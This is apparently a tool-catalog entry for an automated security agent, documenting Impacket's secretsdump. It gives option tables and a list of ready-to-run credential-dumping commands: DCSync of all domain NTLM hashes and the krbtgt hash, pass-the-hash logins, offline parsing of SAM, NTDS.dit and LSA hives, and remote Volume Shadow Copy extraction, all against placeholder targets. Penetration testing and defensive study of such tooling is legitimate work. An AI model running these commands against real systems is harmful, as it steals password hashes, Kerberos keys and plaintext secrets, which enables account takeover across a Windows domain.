Impacket secretsdump tool that extracts NTLM hashes, Kerberos keys, and credential material from Windows systems via NTDS.dit, SAM, and LSA techniques.
impacket-secretsdump -just-dc {domain}/{user}:{password}@{target} 🌍 domain → domain 🌍 user → user 📎 password 🌍 target → ip impacket-secretsdump -just-dc {domain}/{user}:{password}@{target}Sandbox: execFile · Timeout: 600s
security.credential.dump.ntds security.credential.dump.sam security.credential.dump.lsa security.credential.dump.kerberos security.credential.extract.hash | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
just-dc | boolean | No | Extract only NTDS.dit data (NTLM + Kerberos) | --just-dc | |
just-dc-user | string | No | - | Extract data for a specific user from NTDS | --just-dc-user |
just-dc-ntlm | boolean | No | Extract only NTLM hashes from NTDS | --just-dc-ntlm | |
history | boolean | No | Include password history | --history | |
pwd-last-set | boolean | No | Show password last set timestamps | --pwd-last-set | |
user-status | boolean | No | Show user account status (disabled/locked) | --user-status | |
use-vss | boolean | No | Use Volume Shadow Copy for NTDS access | --use-vss | |
sam | string | No | - | Local SAM hive file for offline dump | -sam, --sam |
system | string | No | - | SYSTEM hive file for boot key | -system, --system |
security | string | No | - | SECURITY hive file for LSA secrets | -security, --security |
ntds | string | No | - | NTDS.dit file for offline parsing | -ntds, --ntds |
outputfile | string | No | - | Write output to file | --outputfile |
dc-ip | string | No | - | IP address of domain controller | --dc-ip |
debug | boolean | No | Enable debug output | --debug | |
ts | boolean | No | - | Include timestamps in output | -ts |
Inputs
network.target.ip Domain controller or target IP
credential.username Domain username
credential.password Plaintext password or NTLM hash
file.ntds Local NTDS.dit file (for offline mode)
Outputs
security.credential.hash.ntlm Extracted NTLM password hashes
security.credential.hash.kerberos Extracted Kerberos keys
security.credential.plaintext Plaintext credentials from LSA
network_trafficfilesystem_write Produces
security.credential.hash.ntlmsecurity.credential.hash.kerberossecurity.credential.plaintextConsumes
network.target.ipcredential.usernamecredential.passwordfile.ntds| Resource | Value |
|---|---|
| CPU | low |
| Memory | 128 MB |
| Network | medium |
| Disk I/O | low |
Remote DCSync — dump all domain hashes from DC
impacket-secretsdump -just-dc-ntlm evilcorp.local/administrator:Pass123@10.10.10.1DCSync with NTLM hash authentication
impacket-secretsdump -just-dc-ntlm evilcorp.local/administrator@10.10.10.1 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Dump specific user hash
impacket-secretsdump -just-dc-user krbtgt evilcorp.local/administrator:Pass123@10.10.10.1Offline NTDS.dit parsing with SYSTEM hive
impacket-secretsdump -ntds ntds.dit -system SYSTEM.hive LOCALLocal SAM dump with SYSTEM hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCALFull NTDS dump with history and timestamps
impacket-secretsdump -just-dc -history -pwd-last-set -user-status evilcorp.local/administrator:Pass123@10.10.10.1LSA secrets dump from SECURITY hive
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCALUse VSS to copy NTDS.dit remotely
impacket-secretsdump -just-dc -use-vss evilcorp.local/administrator:Pass123@10.10.10.1secretsdump is the credential dumping powerhouse from the Impacket suite, supporting multiple extraction techniques against Windows systems.
| Method | Command | Description |
|---|---|---|
| DCSync | -just-dc |
Domain replication, no file access needed |
| SAM | -sam SAM.hive -system SYSTEM.hive |
Local account hashes |
| LSA | -security SECURITY.hive -system SYSTEM.hive |
LSA secrets |
| NTDS | -ntds ntds.dit -system SYSTEM.hive |
Offline NTDS parsing |
| VSS | -use-vss |
Volume Shadow Copy for remote NTDS |